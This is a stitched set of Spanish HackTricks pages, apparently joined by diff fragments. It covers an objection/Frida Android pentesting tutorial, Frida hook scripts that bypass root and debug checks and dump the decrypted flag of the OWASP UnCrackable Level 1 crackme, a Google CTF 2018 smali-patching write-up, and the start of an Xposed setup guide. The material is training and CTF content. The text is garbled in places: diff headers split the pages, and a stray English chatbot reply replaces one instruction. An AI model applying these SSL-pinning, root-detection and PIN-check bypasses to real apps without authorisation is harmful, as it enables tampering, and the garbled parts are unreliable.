{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## **Introducción**
|
||||
|
||||
[![objection](https://github.com/sensepost/objection/raw/master/images/objection.png)](https://github.com/sensepost/objection)
|
||||
|
||||
**objection - Exploración en tiempo de ejecución de dispositivos móviles**
|
||||
|
||||
`objection` es un kit de herramientas de exploración en tiempo de ejecución de dispositivos móviles, impulsado por [Frida](https://www.frida.re). Fue construido con el objetivo de ayudar a evaluar las aplicaciones móviles y su postura de seguridad sin la necesidad de un dispositivo móvil con jailbreak o root.
|
||||
|
||||
**Nota:** Esto no es alguna forma de bypass de jailbreak/root. Al usar `objection`, todavía estás limitado por todas las restricciones impuestas por el sandbox aplicable que estás enfrentando.
|
||||
|
||||
### Resumen
|
||||
|
||||
El **objetivo** de **objection** es permitir al usuario llamar a las **acciones principales que ofrece Frida**. **De lo contrario**, el usuario necesitará crear un **script único para cada aplicación** que quiera probar.
|
||||
|
||||
## Tutorial
|
||||
|
||||
Para este tutorial voy a usar el APK que puedes descargar aquí:
|
||||
|
||||
{% file src="../../../.gitbook/assets/app-release.zip" %}
|
||||
|
||||
O desde su [repositorio original](https://github.com/asvid/FridaApp)(descarga app-release.apk)
|
||||
|
||||
### Instalación
|
||||
```
|
||||
pip3 install objection
|
||||
```
|
||||
### Conexión
|
||||
|
||||
Realice una **conexión ADB regular** y **inicie** el servidor **frida** en el dispositivo (y verifique que frida esté funcionando tanto en el cliente como en el servidor).
|
||||
|
||||
Si está utilizando un dispositivo **rooteado**, es necesario seleccionar la aplicación que desea probar dentro de la opción _**--gadget**_. En este caso:
|
||||
```
|
||||
objection --gadget asvid.github.io.fridaapp explore
|
||||
```
|
||||
### Acciones Básicas
|
||||
|
||||
No se listarán todos los comandos posibles de Objection en este tutorial, solo aquellos que he encontrado más útiles.
|
||||
|
||||
#### Entorno
|
||||
|
||||
Alguna información interesante (como contraseñas o rutas) podría encontrarse dentro del entorno.
|
||||
```
|
||||
env
|
||||
```
|
||||
#### Información de Frida
|
||||
```
|
||||
frida
|
||||
```
|
||||
#### Subir/Descargar
|
||||
```bash
|
||||
file download <remote path> [<local path>]
|
||||
file upload <local path> [<remote path>]
|
||||
```
|
||||
#### Importar script de frida
|
||||
```bash
|
||||
import <local path frida-script>
|
||||
```
|
||||
#### SSLPinning
|
||||
|
||||
El SSLPinning es una técnica de seguridad utilizada en aplicaciones móviles para evitar ataques Man-in-the-Middle (MitM) mediante la validación de los certificados SSL/TLS del servidor. En lugar de confiar en la cadena de certificados del sistema operativo, la aplicación móvil confía en un conjunto específico de certificados emitidos por el servidor. Esto hace que sea más difícil para un atacante interceptar y leer el tráfico de red entre la aplicación y el servidor.
|
||||
|
||||
Objection proporciona una herramienta llamada `sslpinning disable` que permite deshabilitar el SSLPinning en una aplicación móvil. Esto puede ser útil para realizar pruebas de penetración y encontrar vulnerabilidades en la aplicación. Sin embargo, es importante tener en cuenta que deshabilitar el SSLPinning puede dejar la aplicación vulnerable a ataques MitM.
|
||||
```bash
|
||||
android sslpinning disable #Attempts to disable SSL Pinning on Android devices.
|
||||
```
|
||||
#### Detección de root
|
||||
```bash
|
||||
android root disable #Attempts to disable root detection on Android devices.
|
||||
android root simulate #Attempts to simulate a rooted Android environment.
|
||||
```
|
||||
#### Comando Exec
|
||||
```bash
|
||||
android shell_exec whoami
|
||||
```
|
||||
#### Capturas de pantalla
|
||||
```bash
|
||||
android ui screenshot /tmp/screenshot
|
||||
android ui FLAG_SECURE false #This may enable you to take screenshots using the hardware keys
|
||||
```
|
||||
### Análisis estático convertido en dinámico
|
||||
|
||||
En una aplicación real deberíamos conocer toda la información descubierta en esta parte antes de usar objection gracias al **análisis estático**. De todas maneras, de esta manera quizás puedas ver **algo nuevo** ya que aquí solo tendrás una lista completa de clases, métodos y objetos exportados.
|
||||
|
||||
Esto también es útil si de alguna manera eres **incapaz de obtener algún código fuente legible** de la aplicación.
|
||||
|
||||
#### Listar actividades, receptores y servicios
|
||||
```
|
||||
android hooking list activities
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (78).png>)
|
||||
|
||||
El objetivo de este tutorial es presentar Objection, una herramienta que utiliza Frida para realizar pruebas de penetración en aplicaciones móviles de Android. Objection nos permite interactuar con la aplicación en tiempo de ejecución, lo que nos permite manipular su comportamiento y analizar su seguridad. En este tutorial, cubriremos los siguientes temas:
|
||||
|
||||
- Instalación de Objection
|
||||
- Configuración de un dispositivo Android para su uso con Objection
|
||||
- Uso de Objection para realizar pruebas de penetración en una aplicación móvil de Android
|
||||
|
||||
Antes de continuar con este tutorial, es importante tener conocimientos básicos de Frida y cómo funciona. Si no está familiarizado con Frida, le recomendamos que consulte nuestro tutorial de Frida antes de continuar.
|
||||
```
|
||||
android hooking list services
|
||||
android hooking list receivers
|
||||
```
|
||||
Frida lanzará un error si no se encuentra ninguna.
|
||||
|
||||
#### Obteniendo la actividad actual
|
||||
```
|
||||
android hooking get current_activity
|
||||
```
|
||||
#### Buscar Clases
|
||||
|
||||
Comencemos buscando clases dentro de nuestra aplicación.
|
||||
```
|
||||
android hooking search classes asvid.github.io.fridaapp
|
||||
```
|
||||
#### Métodos de búsqueda de una clase
|
||||
|
||||
Ahora vamos a extraer los métodos dentro de la clase _MainActivity:_
|
||||
```
|
||||
android hooking search methods asvid.github.io.fridaapp MainActivity
|
||||
```
|
||||
#### Listar los métodos declarados de una clase con sus parámetros
|
||||
|
||||
Veamos qué parámetros necesitan los métodos de la clase:
|
||||
```
|
||||
android hooking list class_methods asvid.github.io.fridaapp.MainActivity
|
||||
```
|
||||
#### Listar clases
|
||||
|
||||
También puedes listar todas las clases que se cargaron dentro de la aplicación actual:
|
||||
```
|
||||
android hooking list classes #List all loaded classes, As the target application gets usedmore, this command will return more classes.
|
||||
```
|
||||
Esto es muy útil si quieres **enganchar el método de una clase y solo conoces el nombre de la clase**. Puedes usar esta función para **buscar qué módulo es dueño de la clase** y luego enganchar su método.
|
||||
|
||||
### Enganchar es fácil
|
||||
|
||||
#### Enganchar (observar) un método
|
||||
|
||||
A partir del [código fuente](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) de la aplicación, sabemos que la **función** _**sum()**_ **de** _**MainActivity**_ se ejecuta **cada segundo**. Intentemos **volcar toda la información posible** cada vez que se llama a la función (argumentos, valor de retorno y backtrace):
|
||||
```
|
||||
android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --dump-args --dump-backtrace --dump-return
|
||||
```
|
||||
#### Enganchando (observando) una clase completa
|
||||
|
||||
En realidad, encuentro todos los métodos de la clase MainActivity realmente interesantes, vamos a **engancharlos todos**. Ten cuidado, esto podría **hacer que la aplicación se bloquee**.
|
||||
```
|
||||
android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return
|
||||
```
|
||||
Si juegas con la aplicación mientras la clase está enganchada, verás cuándo se llama a cada función, sus argumentos y el valor de retorno.
|
||||
|
||||
![](<../../../.gitbook/assets/image (72).png>)
|
||||
|
||||
#### Cambiar el valor de retorno booleano de una función
|
||||
|
||||
Desde el código fuente, puedes ver que la función _checkPin_ recibe un _String_ como argumento y devuelve un _boolean_. Hagamos que la función **siempre devuelva verdadero**:
|
||||
|
||||
![](<../../../.gitbook/assets/image (74).png>)
|
||||
|
||||
Ahora, si escribes cualquier cosa en el cuadro de texto para el código PIN, verás que todo es válido:
|
||||
|
||||
![](<../../../.gitbook/assets/image (77).png>)
|
||||
|
||||
### Instancias de clase
|
||||
|
||||
Busca e imprime **instancias en vivo de una clase Java específica**, especificada por un nombre de clase completamente calificado. Out es el resultado de un intento de obtener un valor de cadena para una objeción descubierta que típicamente **contendría valores de propiedad para el objeto**.
|
||||
```
|
||||
android heap print_instances <class>
|
||||
```
|
||||
### Keystore/Intents
|
||||
|
||||
Puedes jugar con el keystore y los intents usando:
|
||||
```
|
||||
android keystore list
|
||||
android intents launch_activity
|
||||
android intent launch_service
|
||||
```
|
||||
### Memoria
|
||||
|
||||
#### Volcado
|
||||
```bash
|
||||
memory dump all <local destination> #Dump all memory
|
||||
memory dump from_base <base_address> <size_to_dump> <local_destination> #Dump a part
|
||||
```
|
||||
#### Lista
|
||||
```
|
||||
memory list modules
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (66).png>)
|
||||
|
||||
En la parte inferior de la lista se puede ver frida:
|
||||
|
||||
![](<../../../.gitbook/assets/image (67).png>)
|
||||
|
||||
Veamos qué está exportando frida:
|
||||
|
||||
![](<../../../.gitbook/assets/image (68).png>)
|
||||
|
||||
#### Buscar/Escribir
|
||||
|
||||
También se puede buscar y escribir en la memoria con objection:
|
||||
```
|
||||
memory search "<pattern eg: 41 41 41 ?? 41>" (--string) (--offsets-only)
|
||||
memory write "<address>" "<pattern eg: 41 41 41 41>" (--string)
|
||||
```
|
||||
### SQLite
|
||||
|
||||
Puedes usar el comando `sqlite` para interactuar con bases de datos SQLite.
|
||||
|
||||
### Salir
|
||||
```
|
||||
exit
|
||||
```
|
||||
## Lo que falta en Objection
|
||||
|
||||
* Los métodos de enganche a veces hacen que la aplicación se bloquee (esto también se debe a Frida).
|
||||
* No se pueden utilizar las instancias de las clases para llamar a las funciones de la instancia. Y no se pueden crear nuevas instancias de clases y usarlas para llamar a funciones.
|
||||
* No hay un atajo (como el de sslpinnin) para enganchar todos los métodos de cifrado comunes que utiliza la aplicación para ver el texto cifrado, el texto plano, las claves, los IV y los algoritmos utilizados.
|
||||
|
||||
|
||||
|
||||
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
**Consejo de recompensa por errores**: **regístrese** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**! Únase a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comience a ganar recompensas de hasta **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,143 @@
|
|||
# Tutorial de Frida 3
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FwdlXOpyZOVGNzyhOiiFK%2Fimage%20(1).png?alt=media&token=13f4d279-7d3f-47ce-a68e-35f9a906973f" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si estás interesado en una **carrera de hacking** y en hackear lo imposible, ¡estamos contratando! (_se requiere fluidez en polaco escrito y hablado_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
****
|
||||
|
||||
**De**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
|
||||
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk)
|
||||
|
||||
## Solución 1
|
||||
|
||||
Basado en [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)
|
||||
|
||||
**Engancha la función \_exit()** y la **función de descifrado** para que imprima la bandera en la consola de frida cuando presionas verificar:
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
send("Starting hooks OWASP uncrackable1...");
|
||||
|
||||
function getString(data){
|
||||
var ret = "";
|
||||
for (var i=0; i < data.length; i++){
|
||||
ret += "#" + data[i].toString();
|
||||
}
|
||||
return ret
|
||||
}
|
||||
|
||||
var aes_decrypt = Java.use("sg.vantagepoint.a.a");
|
||||
aes_decrypt.a.overload("[B","[B").implementation = function(var_0,var_1) {
|
||||
send("sg.vantagepoint.a.a.a([B[B)[B doFinal(enc) // AES/ECB/PKCS7Padding");
|
||||
send("Key : " + getString(var_0));
|
||||
send("Encrypted : " + getString(var_1));
|
||||
var ret = this.a.overload("[B","[B").call(this,var_0,var_1);
|
||||
send("Decrypted : " + getString(ret));
|
||||
|
||||
var flag = "";
|
||||
for (var i=0; i < ret.length; i++){
|
||||
flag += String.fromCharCode(ret[i]);
|
||||
}
|
||||
send("Decrypted flag: " + flag);
|
||||
return ret; //[B
|
||||
};
|
||||
|
||||
var sysexit = Java.use("java.lang.System");
|
||||
sysexit.exit.overload("int").implementation = function(var_0) {
|
||||
send("java.lang.System.exit(I)V // We avoid exiting the application :)");
|
||||
};
|
||||
|
||||
send("Hooks installed.");
|
||||
});
|
||||
```
|
||||
## Solución 2
|
||||
|
||||
Basado en [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)
|
||||
|
||||
**Engancha rootchecks** y la función de descifrado para que imprima la bandera en la consola de frida cuando presionas verificar:
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
send("Starting hooks OWASP uncrackable1...");
|
||||
|
||||
function getString(data){
|
||||
var ret = "";
|
||||
for (var i=0; i < data.length; i++){
|
||||
ret += "#" + data[i].toString();
|
||||
}
|
||||
return ret
|
||||
}
|
||||
|
||||
var aes_decrypt = Java.use("sg.vantagepoint.a.a");
|
||||
aes_decrypt.a.overload("[B","[B").implementation = function(var_0,var_1) {
|
||||
send("sg.vantagepoint.a.a.a([B[B)[B doFinal(enc) // AES/ECB/PKCS7Padding");
|
||||
send("Key : " + getString(var_0));
|
||||
send("Encrypted : " + getString(var_1));
|
||||
var ret = this.a.overload("[B","[B").call(this,var_0,var_1);
|
||||
send("Decrypted : " + getString(ret));
|
||||
|
||||
var flag = "";
|
||||
for (var i=0; i < ret.length; i++){
|
||||
flag += String.fromCharCode(ret[i]);
|
||||
}
|
||||
send("Decrypted flag: " + flag);
|
||||
return ret; //[B
|
||||
};
|
||||
|
||||
var rootcheck1 = Java.use("sg.vantagepoint.a.c");
|
||||
rootcheck1.a.overload().implementation = function() {
|
||||
send("sg.vantagepoint.a.c.a()Z Root check 1 HIT! su.exists()");
|
||||
return false;
|
||||
};
|
||||
|
||||
var rootcheck2 = Java.use("sg.vantagepoint.a.c");
|
||||
rootcheck2.b.overload().implementation = function() {
|
||||
send("sg.vantagepoint.a.c.b()Z Root check 2 HIT! test-keys");
|
||||
return false;
|
||||
};
|
||||
|
||||
var rootcheck3 = Java.use("sg.vantagepoint.a.c");
|
||||
rootcheck3.c.overload().implementation = function() {
|
||||
send("sg.vantagepoint.a.c.c()Z Root check 3 HIT! Root packages");
|
||||
return false;
|
||||
};
|
||||
|
||||
var debugcheck = Java.use("sg.vantagepoint.a.b");
|
||||
debugcheck.a.overload("android.content.Context").implementation = function(var_0) {
|
||||
send("sg.vantagepoint.a.b.a(Landroid/content/Context;)Z Debug check HIT! ");
|
||||
return false;
|
||||
};
|
||||
|
||||
send("Hooks installed.");
|
||||
});
|
||||
```
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FwdlXOpyZOVGNzyhOiiFK%2Fimage%20(1).png?alt=media&token=13f4d279-7d3f-47ce-a68e-35f9a906973f" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si estás interesado en una **carrera de hacking** y en hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,85 @@
|
|||
# Google CTF 2018 - ¿Jugamos un juego?
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
Descarga el APK aquí:
|
||||
|
||||
Voy a subir el APK a [https://appetize.io/](https://appetize.io) (cuenta gratuita) para ver cómo se comporta el APK:
|
||||
|
||||
![](<../../.gitbook/assets/image (46).png>)
|
||||
|
||||
Parece que necesitas ganar 1000000 veces para obtener la bandera.
|
||||
|
||||
Siguiendo los pasos de [pentesting Android](./), puedes descompilar la aplicación para obtener el código smali y leer el código Java usando jadx.
|
||||
|
||||
Leyendo el código Java:
|
||||
|
||||
![](<../../.gitbook/assets/image (47).png>)
|
||||
|
||||
Parece que la función que va a imprimir la bandera es **m().**
|
||||
|
||||
## **Cambios en Smali**
|
||||
|
||||
### **Llamar a m() la primera vez**
|
||||
|
||||
Hagamos que la aplicación llame a m() si la variable _this.o != 1000000_. Para hacerlo, solo cambia la condición:
|
||||
```
|
||||
if-ne v0, v9, :cond_2
|
||||
```
|
||||
I'm sorry, I didn't understand your message. Could you please provide more information or clarify your request?
|
||||
```
|
||||
if-eq v0, v9, :cond_2
|
||||
```
|
||||
![Antes](<../../.gitbook/assets/image (48).png>)
|
||||
|
||||
![Después](<../../.gitbook/assets/image (49).png>)
|
||||
|
||||
Sigue los pasos de [pentest Android](./) para recompilar y firmar el APK. Luego, súbelo a [https://appetize.io/](https://appetize.io) y veamos qué sucede:
|
||||
|
||||
![](<../../.gitbook/assets/image (50).png>)
|
||||
|
||||
Parece que la bandera está escrita sin estar completamente descifrada. Probablemente la función m() debería ser llamada 1000000 veces.
|
||||
|
||||
**Otra forma** de hacer esto es no cambiar la instrucción, sino cambiar las instrucciones comparadas:
|
||||
|
||||
![](<../../.gitbook/assets/image (55).png>)
|
||||
|
||||
**Otra forma** es en lugar de comparar con 1000000, establecer el valor en 1 para que this.o se compare con 1:
|
||||
|
||||
![](<../../.gitbook/assets/image (57).png>)
|
||||
|
||||
Una cuarta forma es agregar una instrucción para mover el valor de v9 (1000000) a v0 _(this.o)_:
|
||||
|
||||
![](<../../.gitbook/assets/image (58).png>)
|
||||
|
||||
![](<../../.gitbook/assets/image (52).png>)
|
||||
|
||||
## Solución
|
||||
|
||||
Haz que la aplicación ejecute el bucle 100000 veces cuando ganes la primera vez. Para hacerlo, solo necesitas crear el bucle **:goto\_6** y hacer que la aplicación **salte allí si \_this.o**\_\*\* no tiene el valor 100000\*\*:
|
||||
|
||||
![](<../../.gitbook/assets/image (59).png>)
|
||||
|
||||
Necesitas hacer esto dentro de un dispositivo físico ya que (no sé por qué) esto no funciona en un dispositivo emulado.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,90 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**Tutorial copiado de** [**https://infosecwriteups.com/genymotion-xposed-inspeckage-89f0c8decba7**](https://infosecwriteups.com/genymotion-xposed-inspeckage-89f0c8decba7)
|
||||
|
||||
## Instalar el Marco de Xposed <a href="#ef45" id="ef45"></a>
|
||||
|
||||
1. Descarga el archivo APK de Xposed Installer desde [aquí](https://forum.xda-developers.com/attachments/xposedinstaller\_3-1-5-apk.4393082/)
|
||||
2. Descarga el archivo zip de Xposed Framework desde [aquí](https://dl-xda.xposed.info/framework/sdk25/x86/xposed-v89-sdk25-x86.zip)
|
||||
3. Descarga el archivo APK de Inspeckage v2.4 desde el repositorio de github [aquí](https://github.com/ac-pm/Inspeckage/releases)
|
||||
|
||||
Inicia el dispositivo virtual desde el menú
|
||||
|
||||
![](https://miro.medium.com/max/1000/1\*7fprdQrerabZFKpDJSbHuA.png)
|
||||
|
||||
Asegúrate de que el dispositivo esté en línea para adb
|
||||
|
||||
![](https://miro.medium.com/max/700/1\*Pt3zh1Od9ufQuo66rCge3g.png)
|
||||
|
||||
Arrastra y suelta el archivo zip del marco de Xposed (`xposed-vXX-sdkXX-x86.zip`) en la pantalla de tu dispositivo virtual para flashear el dispositivo.
|
||||
|
||||
Arrastra y suelta el archivo APK de Xposed Installer (`XposedInstaller_*.apk`). Esto debería instalar y lanzar la aplicación _Xposed Installer_. En esta etapa, mostrará que el marco de Xposed está instalado pero desactivado:![](https://miro.medium.com/max/30/0\*0ddJI69QvpxC8rXq.png?q=20)
|
||||
|
||||
![](https://miro.medium.com/max/700/0\*0ddJI69QvpxC8rXq.png)
|
||||
|
||||
Reinicia el dispositivo con el comando `adb reboot`. **No reinicies desde **_**Xposed Installer**_** ya que esto congelará el dispositivo.**
|
||||
|
||||
![](https://miro.medium.com/max/657/1\*V\_jl42vdOcJLXvS0riI7Gg.png)
|
||||
|
||||
